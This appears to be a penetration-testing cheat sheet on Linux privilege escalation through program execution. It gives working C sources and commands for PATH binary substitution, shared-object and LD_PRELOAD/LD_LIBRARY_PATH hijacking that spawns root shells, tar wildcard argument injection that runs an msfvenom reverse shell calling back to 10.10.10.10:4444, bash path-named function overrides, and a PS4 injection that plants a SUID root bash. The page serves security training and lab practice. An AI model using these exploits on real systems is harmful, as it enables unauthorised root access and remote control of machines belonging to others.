Skip to content

Exploit Program Execution

Linux

Replacing an executale

In case you're able to substitute a appication (PATH environment variable, ..) either you create a shell script with a bash call that will be executed or you create a ELF binary because it's called by another application that doesn't support bash scripts.

Compile the following with gcc -o <path-to-file> spawn_shell.c

// spawn_shell.c

int main() {
        setuid(0);
        system("/bin/bash -p");
}

Then try to call the vulnerable program that calls your binary and a shell should appear. Propably you should also modify the PATH variable so that your binary is preferred (PATH=.:$PATH <vulnerable-program>).

Program Argument Injection

Programs use arguments so that the user can communicate his intent.

Let's take this execution:

cd /info
tar czf /tmp/backup.tar.gz *

tar, as many other programs, can be used to execute another program during its execution. Because tar is executed with a wildcard we can inject program arguments via the file system.

cd /info
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
chmod +x /info/shell.elf
touch /info/--checkpoint=1
touch /info/--checkpoint-action=exec=shell.elf

This is possible because filename rules in linux are very lax in contrast to windows.

Shared Object inection/loading

Find Shared Objects in program execution

Use strace application-to-run 2>&1 | grep -iE "open|access|no such file" to get an idea what files are accessed.

Example output:

open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

You can try to overwrite or even create accessed *.so*.

Compile the following with gcc -fPIC -shared -o <path-to-file-from-output> shared_object.c

// shared_object.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

Then execute the program again and a shell should appear.

Environment Variable Override

https://tryhackme.com/room/linuxprivesc -> Task 7: sudo - Environment Variables

The environment variable LD_PRELOAD and LD_LIBRARY_PATH can be used to influence how applications work and what they load.

LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

To define the environment variables you can use KEY=value and the run the application. This will define the variable for the shell session.

In the context of sudo you can set variables via sudo KEY=value application-to-run.

Spawn a shell with LD_PRELOAD

First find an application that has SUID set or is avaiblable via sudo -l and env_keep+=LD_PRELOAD.

Compile the following with gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

// preload.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

Then run it with LD_PRELOAD=/tmp/preload.so; application-to-run or sudo LD_PRELOAD=/tmp/preload.so application-to-tun.

A shell should spawn if the conditions are right.

Spawning a shell with LD_LIBRARY_PATH

First search for shared libraries in an application with ldd application-to-run, preferrable one with SUID bit set or abailable via sudo -l and env_keep+=LD_LIBRARY_PATH.

Examble output:

libpthread.so.0 => /lib/libpthread.so.0 (0x00007f0413188000)
libc.so.6 => /lib/libc.so.6 (0x00007f0412e1c000)
libuuid.so.1 => /lib/libuuid.so.1 (0x00007f0412c17000)
librt.so.1 => /lib/librt.so.1 (0x00007f0412a0f000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f04127d

Choose one of the names and compile the following with the choosen name with gcc -fPIC -shared -o /tmp/<name-of-shared-lib> library_path.c

// library_path.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Then run it with LD_LIBRARY_PATH=/tmp; application-to-run or sudo LD_LIBRARY_PATH=/tmp application-to-tun.

A shell should spawn if the conditions are right.

Functions named like paths

In bash < 4.2-048 a function can be defined to spoil absolute path binaries.

eg. a vulnerable application calls somewhere /usr/sbin/service apache2 start.

To exploit that, run this commands:

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/<vulnerable-application>

A shell with the privileges of the vulnerable app should appear.

Exploit bash debugging

In bash < 4.4 an environment variable called PS4 is used to display an extra prompt during debugging.

Define a command sequence to copy the bash binary and set the suid bit on it in the name of the executable that has suid set.

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /<application-with-suid-set>

After that you can exit the application again and run /tmp/rootbash -p to gain a root shell.